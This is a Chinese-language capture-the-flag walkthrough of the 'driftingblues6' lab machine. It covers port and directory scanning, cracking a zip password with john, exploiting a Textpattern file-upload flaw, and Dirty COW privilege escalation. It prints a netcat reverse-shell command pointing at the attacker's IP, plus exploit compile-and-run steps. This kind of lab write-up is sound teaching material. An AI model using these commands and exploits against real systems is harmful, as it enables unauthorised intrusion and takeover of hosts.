OSCP 靶场
靶场简介
driftingblues6 |
easy |
fuzz测试、wfuzz使用、zip爆破、exp使用、文件上传漏洞利用、脏牛提权 |
信息收集
主机发现
nmap -sn 192.168.1.0/24
端口扫描
这里只有一个端口,那只能怼这个web 服务了。
└─# nmap -sV -A -p- -T4 192.168.1.189
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-27 04:44 EST
Nmap scan report for 192.168.1.189
Host is up (0.0011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/textpattern/textpattern
|_http-title: driftingblues
|_http-server-header: Apache/2.2.22 (Debian)
MAC Address: 08:00:27:43:BB:8B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
目录扫描
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.189 -x php,txt,html -e
wfuzz -u http://192.168.1.189/FUZZ.zip -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --sc 200,301
扫描了一下比较有用的目录
192.168.1.189/spammer
http://192.168.1.189/robots
http://192.168.1.189/textpattern/textpattern/
首先使用 zip2john 从 zip 文件创建哈希
zip2john application.zip > hash
然后使用 john 来破解哈希值
john -wordlist= /usr/share/wordlists/rockyou.txt hash
解压后成功得到一个账号密码,这里没有ssh,那肯定就是web 后台的了。
权限获取
https://www.exploit-db.com/exploits/48943
这里也可以直接上传webshell文件
接下来直接反弹一个shell,然后获取一个交互shell
nc 192.168.1.158 8989 -e /bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
或者
script /dev/null -c bash
Ctrl + Z
stty raw -echo ;fg
stty rows 38 columns 116
export TERM=xterm
权限提升
看到内核版本,可以使用脏牛exp 尝试提权。
https://www.exploit-db.com/exploits/40616
我们开启一个web 服务,然后在靶场上下载。
gcc 40616.c -o exp -pthread
chmod +x exp
./exp
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):【OSCP】driftingblues6
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论